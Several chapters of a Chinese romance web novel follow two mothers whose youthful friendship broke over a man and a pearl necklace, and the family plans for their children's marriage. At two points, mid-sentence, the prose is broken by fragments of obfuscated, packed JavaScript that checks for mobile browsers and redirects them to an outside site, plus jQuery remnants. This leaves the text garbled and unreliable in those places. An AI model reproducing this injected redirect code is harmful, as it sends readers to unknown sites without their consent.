况允驰感受到手机震动。一直等到程菀训完话,和付雯娜又聊上几句的空隙里,他才拿出手机。看到李十安的消息,立即回复了两条。 [从没被罚站过。] [我也是乖乖男。] 李十安笑出了声。觉得在这样的场合里笑出声不合适,只好稍微侧身,低头,试图遮挡表情。 *** 之后的半个月,不清楚程菀和付雯娜的关系变得如何,不过两人时常保持交流。 有时感觉关系不怎么样。 听到程菀和付雯娜通话,语气还是挺强硬,像那天在餐桌上那样。 “好了,别再争论谁先主动的了。” “我争论了吗?是你先争论的吧?” “好了好了,不说了。” “事已至此,先考虑下其他的事情。” “你们那边统一一下想法好吧?老况说的和你说的,两回事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446123|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “行行行,约时间。” “我们都有时间,哪像你们,大忙人。” 听起来两个人没有吵架,但随时处在吵架的边缘。一根箭夹在弓上,拉满。是否射出,也就是一瞬间的事。 每次听她们通电话,李十安总是提心吊胆,悄悄离开,能走多远走多远。甚至祈祷程菀别再打电话,或者付雯娜别再打来电话。 但有时候,她们又给人一种关系很亲密的感觉。 付雯娜偶尔开车来小区外,把一堆东西放到门卫岗亭,拍下照片,发给程菀,“留的你的电话,记得取。” 程菀邀请,“不上来坐坐?” 付文娜婉拒,“我还有事,下回来。” 程菀差使李赟去取包裹。李赟总是空手出门,满载而归。纸盒叠得快要完全遮挡住他的脑袋。 拆包裹,分礼物。给李十安的是燕窝、阿胶、钙片。给李赟的是西湖龙井、云南咖啡。怎么看也是李赟的礼物更吸引人。 李十安提议,“爸,咱俩换一换呗。” 程菀一口回绝,“呆瓜,你一盒顶你爸两盒。” 纸箱的最下层,是两个黑色丝绒礼盒。程菀打开了上面一个。里面装着一串珍珠项链。看样子是有些年份了,色泽泛黄,记录了岁月的味道。 应该不是错觉,李十安从程菀眼里,看到了一丝感动。 程菀回卧室打电话,声音不算大,但李十安仍能听清楚。 “还是你有本事,真能找到。” “多少年了?得有快三十年了吧。” “你说时间怎么过得那么快呢,你都老了。” “得得得,我也老了,行了吧?” “另一盒是新的吗?” “款式相近也行。” “这串就放着呗,戴肯定是戴新的。” “对了,新的你有吗?” “你有没有当然无所谓,我就随口一问。” “戴不戴都行。” “好吧,过年戴。” 李十安琢磨着这段对话。怎么头一天还在吵架,隔一天就变得好似亲密的样子。 礼尚往来。程菀收了付雯娜的礼物,总也得回点东西。有心意的回礼。是用蜀锦定做了旗袍。自然是两件,程菀一件,付雯娜一件。款式一样,面料一样,不同的是花纹。 程菀取出旗袍看了看,又重新折叠好,放进盒子里。“找的蜀锦传承人做的,她还上过央视。” 李十安感慨,“妈……你人脉好广。”仿佛整个青山就没有程菀不认识的人。 程菀装好礼盒袋,“所以说,你别老想着瞒我,我哪里都有眼线。” 礼盒袋一共两袋,装着两件旗袍。程菀的意思是让付雯娜先选。“你雯娜阿姨挑得很,只有我让她。”程菀叮嘱李十安,“我跟她说好了的,你直接拿给况允驰就行,别的不用管。” 程菀开车送李十安回学校,因为还有事情,先行离开。况允驰下午下班来学校,接李十安,顺便拿旗袍。 “你妈妈去泊舟岛了?”李十安坐上车。 况允驰应道,“嗯,说去待两天。” 李十安低声问,“诶,你打听的事怎么样?”之前一直好奇,又找不到人问,李十安只好拜托况允驰去打听看看,程菀和付雯娜之间到底发生过什么故事。 况允驰替李十安系好安全带,轻声说道。 “听说,她们年轻时候,曾经是最好的朋友。” “后来喜欢上了同一个男人。” 17. 珍珠 程菀和付雯娜是同一批进单位的。 那一批共有十三人,被召集到月影镇大会议室召开简短的培训会。付雯娜到得晚,会场里能选择的位置不多,她随意坐了一个。 恰好是在程菀旁边。 这是故事的开始。 世上便有那么投缘的人。一场培训下来,她们俩内容没怎么听,悄悄话倒是说了不少。两人越说越投缘,甚至定好了未来生活的规划。 她们做什么都要在一起。 住宿要在一起。本来分寝室的时候,两人住的是不同房间,付雯娜在四楼,程菀在二楼。为了能住同一间,她们找人协商换寝室的事情。四楼的当然不想换到二楼,因为楼层高,空气好,不潮湿,也不吵闹。于是妥协,付雯娜从四楼换到二楼。 程菀问付雯娜,“不会觉得亏?” 付雯娜态度潇洒,“我就喜欢二楼,少爬两层楼梯。” 一间寝室里只有她们两个人,一个住上铺,一个住下铺。 当然,办公也要在一起。程菀是文员,付雯娜是出纳,分属不同部门,不在一个办公室。唯一庆幸的是,都在同一层。办公室不如寝室那样好协调,必须服从单位安排。她们只有找可以利用的漏洞。付雯娜的办公室里多了一套桌椅,一直没人用,处于空闲状态。她们特意收拾好,擦干净。遇到方便的时候,程菀就会跑去付雯娜办公室工作。 当然,程菀几乎有一半时间都方便。 她们吃饭也一起。午饭是从十二点开始的,但由于工作量不同,每个人去吃饭的时间点也不同。有时候是程菀先做完工作,便到付雯娜办公室去,提前做点下午的工作。有时候是付雯娜先做完工作,便到程菀的办公室去,躺在沙发上看小说。饿着肚子也得等彼此。比起吃饭,更看重的是两人同行。 院子里的人给她们取名,双生花。生得漂亮,又总形影不离,如同并蒂莲,优美绽放,叫旁人也赏心悦目。 本来是一段人人称羡的友谊。维持了三年的友谊。 直到那个男人的出现。 他叫吴天刚,从北京下派过来,在月影镇任职一年。 谁也没想到就这短短一年,竟会彻底影响她们的生活。 吴天刚的办公室在她们隔壁楼栋,相隔五米远。又因为业务不同,平日里的交流不算多,仅仅打过几次照面,遇见了会问一声好。 正式变得熟悉,是在那次中秋舞会上。 月影舞厅里,程菀和付雯娜先跟舞伴简单跳了两支舞。时隔很久,她们才反应过来,那两位舞伴,正是李赟和况为。 当然这是后话。 她们当时根本没多想,一心只顾喝鸡尾酒,吃椰蓉月饼。 是吴天刚主动招惹她们的。吴天刚端来一盘点心,径直来到她们桌前,“介意我为你们服务吗?”话语幽默绅士,动作轻巧娴熟。 两位女士独坐一桌,觉得多个人也多份热闹,便给吴天刚挪了位置。 吴天刚贴心地为她们换了一杯流光鸡尾酒,“终于有机会同你们说上话了。” 程菀笑道,“这话说得,我们是什么很难说上话的人吗?” 吴天刚惊讶,“你们不知道?你们在院子里可出名了,得到多少男人青睐。” 她们对视一眼。往日里,工作之余,她们只顾黏在一起吃喝玩乐。出名这事,她们是真不知情。 付雯娜反问,“既然如此,我们之前应该也是见过面的,那会儿你怎么不来说话?” 吴天刚懊悔,“怪我,胆小懦弱,一直不敢迈出第一步。”话俏皮,说话方式也俏皮,逗笑了两位女士。 这场舞会,因为吴天刚的加入,变得与众不同。 那晚,深夜闲聊时,她们不可避免地会聊到吴天刚。 付雯娜在上铺,趴到床沿,露出半个脑袋,“你觉得吴天刚这人怎么样?” 程菀在下铺,仰着头,“你觉得呢?” “之前不熟,没怎么说过话,以为是个书呆子。” “我也这么觉得。”程菀笑道,“以为他是那种做事一板一眼的人。”没接触过,所以有一些刻板印象。接触了,才发现本人和想象中完全不一样。程菀评价,“还挺幽默。说话怪好玩的。” “我今晚笑得肚子痛了。”付雯娜单手拖着脑袋,“他说的那个灯谜你还记得吗?” “一只鸟那个是吗?” 一只鸟在空中飞,被猎人打中一枪,结果还在飞,请问这是为什么。这是吴天刚给出的所谓灯谜。 “对——因为鸟很坚强——什么神经的谜底。”付雯娜每次回想,都会被无语得笑出声。 程菀捂嘴,“亏他想得出来。” “还有另一个。” “小丑鸭那个是吗?” “对。” …… 月色银白,硕大的月盘悬挂在远空中。两只小鸟在月盘里嬉戏。一只大鸟在附近盘旋,最终钻入月盘。 追逐的戏码拉开帷幕。 吴天刚成了她们办公室的常客。两人在不同办公室时,吴天刚会先去一个办公室,再去另一个办公室。两人在一个办公室时,吴天刚会一直待着,待到下班。 “你们闻没闻到迷迭香的气味?”吴天刚嗅嗅鼻子,“危险的气味。” 付雯娜笑道,“危险你还来?” “情难自已。”吴天刚挪腰,“瞧我这屁股,都沾在椅子上了。” 程菀站起来,“我这位置让给你好了。” “那可不行。”吴天刚提议,“我去申请看看,能不能多添一套桌椅。”他拱手摇摆,央求道,“两位好姐姐,收留我吧。” 她们笑骂,“癞皮狗。” “我就癞在这里不走了。” “哪有这样的人。” 越说越热闹,整个办公室气氛活跃,生机勃勃。 三月后的一天,程菀走在林荫小路上,吴天刚从身后追来,走在程菀身边。两个人不是并排走,而是程菀正着走,吴天刚倒着走,就为了能够面对面。 程菀笑道,“你不怕摔跤?” 吴天刚挑眉,“你是我的眼睛,摔不了。” 程菀撇头,“切。” 吴天刚凑上去,看着程菀,“说个正事,你明天中午有空吗?” “干嘛?” “想约你吃饭。”吴天刚压低声音,“就我们两个人。” 程菀心里一愣,一时反应不过来。 “之前说是来找你们俩,其实都是幌子。接近你,才是正事。”吴天刚笑道,“不见不散。”他说完后大步流星走了,步履轻盈。 那晚,寝室里,付雯娜举着纸张,研究明天的食堂菜单。 “明天中午吃烤鸭腿。”付雯娜满眼兴奋,“多半会限量。我跑快一点,给你抢一个。” 程菀正晾衣服,没有反应。 付雯娜开玩笑,“怎么,一个不够要两个?” “啊?不是。”程菀撑起晾衣杆,挂晒衣服,“我明天中午有事耽搁,不在单位吃饭。” 付雯娜关心,“什么事?需要我陪你吗?” “啊?不用。”程菀收好晾衣杆,“去青山市里,去我小姨家一趟。”说话时候心跳很快。因为她在说谎。这是她第一次对付雯娜说谎。 很愧疚。 程菀问付雯娜,“晚上要不出去吃?我请你吃鸭腿,管够。” “晚上……”付雯娜说道,“晚上我有事,我也得耽搁一下。” 或许因为心虚,程菀没追问,付雯娜也没回答。两人忽然间不怎么说话了。往日的融洽氛围,莫名有一丝冷凝。 不知道是不是错觉。 从那以后,发生了一个很奇怪的现象。除了上班外,程菀和付雯娜很少有机会聚在一起了。程菀有空的时候,付雯娜总是有事。付雯娜有空的时候,程菀又总是有事。 本来说好一起去南汀广场喂红嘴鸥的,约了很长时间,一直约不到一起。久而久之,两个人都淡忘这个约定了。 其实心中隐隐感觉出有不对劲的地方。 真正确定事情有蹊跷,是在一个星期天的下午。程菀受小姨的邀请,和小姨一家一道,去月影湖泛舟游玩。 日光温和,湖光粼粼,山鸟偶尔在林间鸣唱。 湖上小舟很多,悠闲荡漾在湖面,来往穿梭。程菀正与小姨一家欢笑交谈,迎面一叶小舟无意间靠近,逐渐听见舟上两人亲密交谈的声音。两个声音都太熟悉。程菀回头,看见了付雯娜和吴天刚。 定格。时间停顿一秒。没有人出声打招呼。 小舟在短暂的汇聚后,各自继续前行,渐行渐远,直至彼此再看不见。 小姨一家仍在聊天。程菀面带微笑,不时附和两句,可胸腔里堵了一块石头,心不在焉。 终于知道蹊跷的点在哪里了。 原来他是在跟她们同时约会。一个约中午,一个约晚上。一个约周六,一个约周日。怪不得,她和她的时间总是凑不到一起,原来她们全都被他占据了。 看不出来,吴天刚这个人,时间可以管理得这么好。 况允驰打开手机相册,点开一张照片。虽然是翻拍的纸质相片,不过看起来还算清晰,“左边这个就是吴天刚。” 李十安放大了看吴天刚的脸。看了好一阵后,沉默了。 中分,戴圆眼镜,长脸,屁股下巴,有些轻微地包天。 就是这么一个人,把程菀和付雯娜玩弄于股掌之中。 李十安当然知道以貌取人是个很肤浅的行为,但她确实产生了那样的念头——她真希望她们当年能够多少肤浅一点。 然而当年,程菀和付雯娜两人终究是有隔阂了。 从最好的朋友,变成了室友的关系。比普通室友都不如,普通室友好歹会打招呼,会聊天交谈,她们不一样,彼此之间碰见了就假装没看见,同住一个屋檐下却几乎不说话,是陌生人。 曾经的形影不离,变成了如今的形单影只。 程菀先和吴天刚断了联系。还是保留了体面人的姿态,程菀没有大吼大闹。不过是在吴天刚再次约她出去时,果断地拒绝了他。 本来程菀打算一个人安静生活的,谁也不打扰,谁也休想打扰她。奈何每天在寝室里,见到付雯娜,她不说话,她也不说话。 心里难受。 程菀有次去海边出差,看中了一条海水珍珠项链,一千块。那时的一千块对程菀而言是个天文数字。舍不得钱,耐不住真心喜欢。 她咬牙买了下来。不是给自己买的,是买来送给付雯娜的。想着借这个契机,跟付雯娜和好。 冷战的滋味不好受。 选了一个稀松平常的夜晚,临睡前,程菀用一种稀松平常的语气,把珍珠礼盒递给付雯娜,“喏,这个送你。” 黑色丝绒礼盒。珍珠项链规整地摆放在盒子中央。付雯娜抚摸项链,“真好看。” “嗯,我也觉得。”程菀躺下,盖上被子,“睡了。” 不是故意要表现得这么冷酷的,而是实在有些不好意思,不知道该说什么。甚至有些脸红。 第二天,程菀嘴上没有提及这事,但一直在默默观察。付雯娜把珍珠项链戴在了脖子上。搭配墨绿色方领裙,衬得整个人气质优雅。 看来她很喜欢。她很开心。 就这样连续戴了半个月。忽然有一天,付雯娜不再戴珍珠项链了。 或许是戴的频率太高了,想歇一歇?程菀留心。之后的几天,注意观察付雯娜的穿着打扮。她没有 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那是程菀送给付雯娜的珍珠项链。 程菀险些上去询问,“这条项链怎么在你这里?”可吴天刚走得太快,转眼消失在房间内。她脑袋混乱。理不清思绪。 当晚,程菀找到付雯娜,直截了当地质问,“我送给你的项链,为什么会在吴天刚那里?” 因为程菀的表情和语气过于严肃,有种咄咄逼人的架势,付雯娜一时之间有些懵。她回复程菀,“他马上回北京……说是想留个纪念。” “所以你就给他了?”程菀怒不可遏,“那是我送给你的!” 音量大,凶恶,激得付雯娜起逆反心理。“你送给我,那东西就是我的。”付雯娜一字一句,“我想送给谁就送给谁。” 程菀伸出手,“还给我。” 付雯娜有些惊讶,“你送给我了,现在又让我还给你?喂,是不是太抠门太搞笑了?” “我当初就不该送给你。”程菀眼眶猩红,“为了一个男人。” 为了一个男人,搞得这般狼狈的模样。 过往的形影不离变得分文不值。 真可笑。 如果说她们之间,之前存在隔阂,那从这一刻起,隔阂彻底变成了裂缝。 付雯娜搬出了寝室。 一个月后,付雯娜辞职。 “好像是做生意去了。准备去广州,和况为一起。”同事们私下里交谈,一传十,十传百。 有人问程菀,“诶,她跟你说了吗?” “啊……没。”程菀已经很久没和付雯娜见过面了,更无从知晓付雯娜的大事。程菀也只能是听别人说。 想找机会当面问一下付雯娜,程菀却又一直没有主动的勇气,甚至连面也见不上。 最后一次见面,是付雯娜临行前,来办公室收拾东西。 三五同事凑在付雯娜办公桌旁,七嘴八舌问东问西,付雯娜挨着一一回应。 “真去广州?” “嗯。” “准备做什么生意?” “去了再说,有人接待的。” “还回来吗?” “这个就不一定了。” “上次的车票还没给我报销下来呐。” “我全部移交给小曾了,你问问他呢。” 程菀拿着一份文件,从付雯娜办公室前路过,没有停留。就靠着路过的那么短暂的几秒钟,断断续续听到了一些她刚才说的消息。 坐回办公室,程菀心不在焉。于是拿起刚才那份文件,原路折返,再一次路过付雯娜办公室前。走过了办公室,再往前走了三步,停下了。 进去吧,好歹跟她好好告别。 心里是这么想的,双脚却怎么也动弹不得。就这么暗自僵持着。 付雯娜抱着纸盒,走出来了。程菀听到了付雯娜的脚步声,却仍然没有行动的力气。 擦肩而过的瞬间,付雯娜稍作停留,低声说了一句话。 “那条珍珠项链,我迟早给你拿回来。” 那是二十八年前,她们说的最后一句话。 李十安问道,“你妈妈真的一直在找那条项链?” 况允驰回应,“嗯。” 先去北京,到吴天刚的原单位去找。可那里的人告诉付雯娜,吴天刚已经辞职了。 “去了哪里?” “不知道,好像是上海。” 于是去了上海,四处托人询问吴天刚的踪迹,找到一个吴天刚的朋友。 “他确实在这里待过,但没待多久,就又回老家了。” “真能跑。” “你找他做什么?” “要回一条珍珠项链。” “什么珍珠项链?是不是上面有颗金色灯笼球?” “对对对。” “喔……我见过那条项链,他说他要送给老家的未婚妻。” 未婚妻。吴天刚原来在老家一直有个未婚妻。付雯娜心里烧起一团火。 她又去了吴天刚的老家,碰到老家熟人,说是吴天刚夫妇搬去了墨尔本。 “移民?” “嗯,前几天刚走。” 长了四条腿吧这个人,转眼就溜。 付雯娜顺着人们提供的线索,去了墨尔本,曼谷,武汉,台湾,厦门…… “多数时候是她自己去的。”况允驰告诉李十安,“她说她欠你妈妈一个承诺。” 为了实现对程菀的承诺,付雯娜找了整整二十五年。 “可是……”李十安欲言又止,不好意思说出口。 可是,程菀好像早就忘了这件事了。 18. 甜瓜 大年初二,应付雯娜的邀请,程菀一家去蔚蓝湖做客。 去的是付雯娜的父母家。年轻时候,程菀也常去付雯娜的父母家。那时她们家还住在城南。程菀去蹭饭,叔叔阿姨总会做一桌好菜,还全是符合程菀口味的菜。甚至还会拿出冰镇的桂花米酒。四个人坐一桌,亲昵得像一家人。 “多了个女儿。”阿姨笑道,“家里热闹。” 时隔二十八年,再一次见面,老太太一眼认出程菀,“想你得很。” 程菀搀扶老太太的手,“阿姨,我也想你。” 睽违已久的温馨重逢画面。 付雯娜保持着体面微笑。仅仅只是体面而已。 老太太又看到了李十安,夸赞道,“乖乖长得真好看,更像妈妈。” 程菀笑着回应,“她比我更好看,青出于蓝。” 李十安礼貌应答,先问老太太好,再问付雯娜好。老太太很热情,牵过李十安的手,寒暄几句。付雯娜很体面,只单单点头应和,略显冷漠。 这么看着,李十安忽然就明白了况允驰随谁了,随他母亲。不光是长相,性格也像。 两代人聊天,从中式院落小路聊到客厅里。长辈们走在前方,晚辈走在最后。付雯娜也留在了后方队伍。直到透过落地窗,看到程菀落座沙发,背对着他们,付雯娜才转过身来,轻轻捏一下李十安的脸,“乖得很。” 付雯娜笑了。这一次是发自内心的笑。让李十安意外。印象里,付雯娜从没对李十安做过这样亲昵的举动。李十安心里想着,原来付雯娜也不是很高冷,只不过在程菀面前装得高冷罢了。 待付雯娜离开后,况允驰猝不及防,也伸手捏了下李十安的脸颊,学付雯娜说话,“乖得很。” 如果付雯娜是出于喜爱,况允驰就纯粹是出于使坏。李十安气不过,捶了捶况允驰的手臂。 客厅里还有其他亲戚在,人多,嘈杂。李十安跟在况允驰身后,按礼节要逐一打招呼。况允驰在前介绍,李十安在后客套。 “这是舅舅。” “叔叔好。” “这是舅妈。” “阿姨好。” “这是大表哥。” “哥哥好。” “这是三表姐。” “姐姐好。” “不叫姐姐,”谷梁纠正李十安,“要和允驰一样,叫我三表姐,这样才亲切。” 谷梁给李十安带了见面礼物,和李十安互换微信,甚至立即给李十安的朋友圈点赞。是个热情友好的三表姐。谷梁本来还想带李十安去吃点心,无奈那边舅妈在召唤,就又赶到了外公外婆身边。 热热闹闹,说是菜肴已经准备好,快吃饭了。 *** 晚饭后,其他亲戚先行离开,剩下长辈和双方家长,商讨结婚的事情。 李十安和况允驰并排坐在沙发一角。况允驰端着果盘,叉一块哈密瓜,递给李十安。李十安没好意思直接咬,接过原木叉子,自己动手,吃着哈密瓜。两个当事人,倒像是看戏的了。 长辈们谈论的内容很详细,参与的人又热情积极,一人一句,聊得不亦乐乎。 “十五那天扯证。” “两个孩子的八字算的?” “那肯定,月影寺的大师算的。” “大师九十多岁,算的肯定准。” “正好是元宵,好日子。” 外婆问况允驰,“可以的吧?” 况允驰应道,“十安说了算。” 几双眼睛同时盯向李十安。李十安咽下哈密瓜,点头,“嗯,好,我没意见。” 定下一个事项,开始商讨第二个事项。 “婚礼日期看好了没?” “婚礼肯定是之后的事了。” “对啊,起码得小孩出生之后。” “倒是,挺着个大肚子,不方便。” 程菀问,“那这段时间怎么处理?” 况为没听懂,“什么怎么处理?” “我的意思是……要不暂时先不对外说。”隐婚。不对外公布。避免不必要的猜忌、流言、麻烦。 付雯娜看向程菀。她其实也早有此意,不过被程菀先说出了口。 思考一阵,没有人提出反对意见,大家似乎都同意。 外公这次不是商量了,而是直接通知两个当事人,“对外暂时别开口。等办婚礼之前,再一次性通知。” 两个人默契地回应,“好。” 接着谈论下一个话题,商量李十安该在哪个医院建档,挂哪个医生的号。有人提议吴医生,有人提议毛医生,有人提议谢医生。说谁医术好但是脾气不好,谁态度好做事认真,谁参加的讲座多特别忙。 李十安对这种事是无所谓的,觉得在哪个医生手下建档都可以,长辈们定哪位就选哪位。这项决定不需要过多参与,只管听着就好。 长辈们随后又顺口提起房子的事,况允驰在蔚蓝湖有一套房,但刚接房不久,为了李十安的安全起见,想着暂时先别住进去,等味散得差不多了,确定达标了,小两口再搬进去。 这事李十安也没意见,长辈们做决定就行。 长辈们接着继续聊起其他事情。李十安本来想要认真听的,但听着听着,逐渐走神。 是什么时候睡着的,她也不记得。只感受到脑袋在摇晃,好像是被他扶了一下,靠到肩膀上。宽阔的可靠的肩膀,有熟悉的松脂的香气。 中途醒了一次,李十安努力睁开眼睛。听到长辈们还在热烈讨论,不过话题已经从两个小孩身上,跑到了二十几年前的往昔。偏题了,但偏得还挺愉快。 听见那边付雯娜嘀咕了一句,“哪有小孩十四五岁了,才过上正经日子。” 说的似乎是况允驰。关于况允驰的童年经历,付雯娜说得断断续续,时不时挑出一些片段来讲。不过大概能让人听懂,连成一条时间线。应该是况允驰从小跟着付雯娜两口子跑生意,经常搬家,也经常转学,在一个地方没办法待太久。好在况允驰脑袋聪明,学习上没受一点影响。就这样颠沛流离到了快十五岁的时候,才终于定居在青山,像其他小孩一样稳定下来,住同一个地方,上同一个学校。 又说起况允驰十四岁那年,付雯娜两口子做生意,差点破产。该还的正经债砸锅卖铁还了,一家人躲在仓库里过夜。本来已经够惨的了,碰上一些趁机啃骨头的人,耍手段加利息,滚成了填不满的天债。脾气好的,签个保证书就走。脾气坏的,甚至动手,带利器的那种动手。况允驰为了保护付雯娜,被人砸了两个啤酒瓶,肩上留下一小道疤。 “气得我想拼命,被允驰拦住了。”付雯娜想起往昔受的欺负,心里仍然有一团怒火,“当然后面是找证据,把人弄进去了。” 跌宕起伏的经历,这边讲述传奇,那边应和捧场,一人一句。 “平时狐朋狗友,落难了却连骨头都要啃你的。” “有的人是恶心。” “后来怎么得救的?” “贺谦你记得吧?” “记得,以前大院里那位?” “对,他拉了我们一把。” “挺义气。” “是义气,跟他的人也多。” “他很早不在大院里了。” “是呐……” 长辈们聊天火热,来来往往,没有一个停歇的时候。李十安听得东一句西一句,有时候会走神,心里倒是惦念着付雯娜刚才那不起眼的一句话,“允驰肩上留下一小道疤。”李十安知道那道疤。 “你肩上那道疤,我看到过。”李十安稍微靠近一些,悄声在况允驰耳边喃喃,“我们那个的时候看到的。” …… 李十安评价道,“很性感。” …… 她还真是什么话都能说呐。 况允驰没回应,侧头,喝了一口茉莉花茶。不知道是不是光线的原因,李十安看见况允驰的耳廓有些轻微的发红。 聊天不知道什么时候才能结束。一串串话往耳朵里钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458222|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李十安听得又走了神,闭上眼睛,靠在况允驰肩膀上。只靠了两秒,抬起头来,迷迷糊糊,处于半梦半醒之间。 况允驰低语,“去楼上房间睡。” 李十安婉拒,“不了,不怎么困了。” 这可是在别人家里,客厅里还有这么些长辈。李十安要真去楼上房间,心里就总会惦念“客厅还有好多人”这回事,反而会把瞌睡给惦念干净,还不如不睡。她喝一小口茉莉花茶,稍微清醒了些。 程菀和付雯娜坐在沙发两侧。穿的是款式一样花纹不同的旗袍,戴的是一模一样的珍珠项链。发型稍有区别,一个是盘头,一个是披肩。五十几岁的人了,身材依旧窈窕,风韵犹存。 李十安向况允驰低声说一句,“你妈妈真好看。” 况允驰回了一句,“你妈妈也是。” 本质上是真心夸赞的,但听起来像商业互捧。李十安笑了下。光线照射,况允驰的侧颜流畅,气息温热。 李十安忽然想起了一个事情,悄声问况允驰,“那天在医院……你一直跟着我吗?” 若不是一直跟着,怎么会在她的鞋带松开时,第一时间出现在眼前。 况允驰回应,“嗯。” 李十安追问,“那你怎么不早点出现?” 况允驰顿了下,“怕被你讨厌。” 那个时候,他摸不清她心中的想法。或许对他只有恨吧,埋怨,责怪,怪他一夜之间毁掉了她的生活。 那不是他的本意。 心里有根弦被拨动。她其实从没想过讨厌他。她那天太慌乱了,脑袋里一团乱麻,理不清头绪。但即便是这样的状态,她也从没想过要讨厌他。 不知道该怎么把心里话说出口。 她坐近了一些,悄悄伸出胳膊,挽着他,牵起了他的手。 长辈们那边聊天仍旧火热。 李十安又看了一眼付雯娜。她有印象,那次在蔚蓝湖餐厅偶遇,付雯娜戴着珍珠耳环,和程菀聊了许久。李十安和付雯娜是在那一次见的面。 可况允驰和程菀是什么时候见过面的,李十安不大清楚。她曾经问过程菀这个问题,“怎么况允驰还认得你,你却完全不记得他了?” “我的记性能跟你们年轻人比?”程菀回忆,“我和他上一次见面,还是在你们十八岁的时候,七八年前。” 也是在街边偶遇的。当时付雯娜带着况允驰一道,应该是要回一趟学校。他们在附近停车场停好车,走在学校围墙旁时,偶然碰见了程菀。 “诶?” “诶?” 两个人都一眼认出了对方。 程菀问付雯娜,“你准备去哪儿?” 付雯娜指向围墙内,“去班主任办公室,咨询一下填志愿的事情。” “原来你儿子读这学校。” 青山三中。李十安读的是路松中学。 付雯娜回头,“允驰,这是你程菀阿姨。” 况允驰应道,“阿姨好。” 十八岁的少年,穿着宽松白衬衫,袖口随风扬起。声音已经变得低沉,表情冷淡。单纯的只是礼貌。 程菀问,“他准备填什么志愿?” “轨道交通之类的吧,考虑的是交大。”付雯娜反问,“你家是个女儿吧?” “嗯,李十安。” “准备读哪个专业?” “多半学生物。” 那天是个晴天,太阳很大,明晃晃照得人睁不开眼睛。程菀记得她们只是简单聊了几句而已,当作一场平常的短暂相遇。 当然,对况允驰的印象,也只是看了那么一眼而已。 “其实认真对比起来,况允驰也没怎么变。”程菀问李十安,“你觉得呢?” 李十安有些自我怀疑,“我……当时在场吗?” “你……不在吗?”程菀仔细回忆,“好像是不在。” 于是这样推算下来,曾经和况允驰见过面的,只有程菀。 李十安一直是这样认为的。 19. 青芒 李十安总感觉,领证和没领证,对她而言其实根本没什么区别。 从法律上来讲,她和况允驰结婚了,成为了合法夫妻。可从实际情况来看,她仍然住在自己家里,过着和以前一模一样的生活。这当然是程菀的安排。按照程菀的说法,李十安只有住在自己家里,程菀才能更好地照顾李十安的饮食起居。 对程菀来说是照顾,对李十安来说是服刑。 因为这照顾也太密不透风了。 *** 以前的衣服统统不让穿了。李十安喜欢穿衬衣套呢大衣,慵懒舒适。结果最近,程菀把李十安的衣服全部换了一遍。程菀立下的规矩,李十安得穿毛衣裙,还得是纯羊毛的,这样才不扎着皮肤。得穿宽松的毛衣裙,这样才不勒着肚子。得穿高领的,这样才不冷着脖子。 其实穿这类型的衣服也没问题,但造型能不能稍好看一些。李十安试探性询问,“还有没有其他款式?” 程菀替李十安拉平衣服上的小褶皱,“这些衣服都这样。现在不是爱美的时候。” 李十安暗自叹一口气。行吧,朴素但好歹保暖。 *** 晚上去参加一个饭局。程菀带上李十安一起。 程菀最开始找错了餐厅,走错了路,怎么也找不到约定的地点。她把车停在路边,给对方打电话,询问正确的餐厅地址,让对方发一个定位过来。车又正好停在江边路上,身旁一排全是夜宵店。浓郁的烧烤的气味飘进车窗里。辣椒,孜然,外酥里嫩。李十安甚至能想象出鸡翅在嘴里的滋味。 不禁咽了口唾沫。 程菀看了一眼,关上李十安的车窗,“这不是你该吃的东西。” 李十安嘀咕,“那我该吃什么。” “到了餐厅,我知道给你安排。” 随便想想也能预测到,程菀的安排,不会是什么舒适的安排。 餐厅包间里,菜品已经全部上齐了。程菀环视一圈,有牛肉、猪肉、鱼肉,但是没有虾。程菀直接吩咐服务员,“麻烦再上一盘白灼虾。” 服务员顿了下,看了眼饭局主人,张姨。张姨于是点头,“那就再加一盘白灼虾。” 李十安心里多少有些惶恐。这虾是非吃不可吗。白灼虾怪难吃的。 餐桌上,最初只有两种饮品,一种白酒,一种凉茶。偏偏两样都是李十安不能喝的。程菀又叫服务员,“给她来一杯玉米汁。” 服务员观察张姨和李十安的神色,提醒道,“玉米汁没有按杯,是一扎。” “那就一扎。” 一扎玉米汁,不会要全部喝完吧。玉米汁很难喝的。李十安轻轻拉扯程菀的衣袖,“我喝白水就好。” 程菀反驳,“白水有什么好喝的,也没营养。” 张姨笑了下,招呼服务员,“那就听菀菀的,来一扎玉米汁。”她问程菀,“妹妹喜欢玉米汁?早说呐,我一早就能安排上。” 李十安很想向张姨说出真相,其实她这辈子最讨厌玉米汁,尤其是程菀为了所谓的营养逼迫她喝的时候。 程菀笑道,“小孩就好这口。” 行吧。她说好这口就好这口吧。如果反驳她的话,李十安只会得到“要为肚子里的宝宝好”这种教育。听太多了,听得耳朵起茧了。 餐桌中央有点心。红糖糍粑,融化的红糖将糍粑紧紧包裹。太甜了,糖分太高。 “这不行。”程菀又想吩咐服务员,“汤圆有吗?不要馅不要糖那种,白汤圆。” 李十安实在忍不住,悄声提醒,“妈,这是别人请客,我们别再加菜了。”李十安心里嘀咕,也得亏是张姨脾气好,没多说什么。换作别人,哪能容忍一个客人这样肆不忌惮地加菜。 但实际上程菀以前不是这样的,没有这么自我。是从什么时候变的呢?好像是李十安十岁那年。她的整个性格变了。 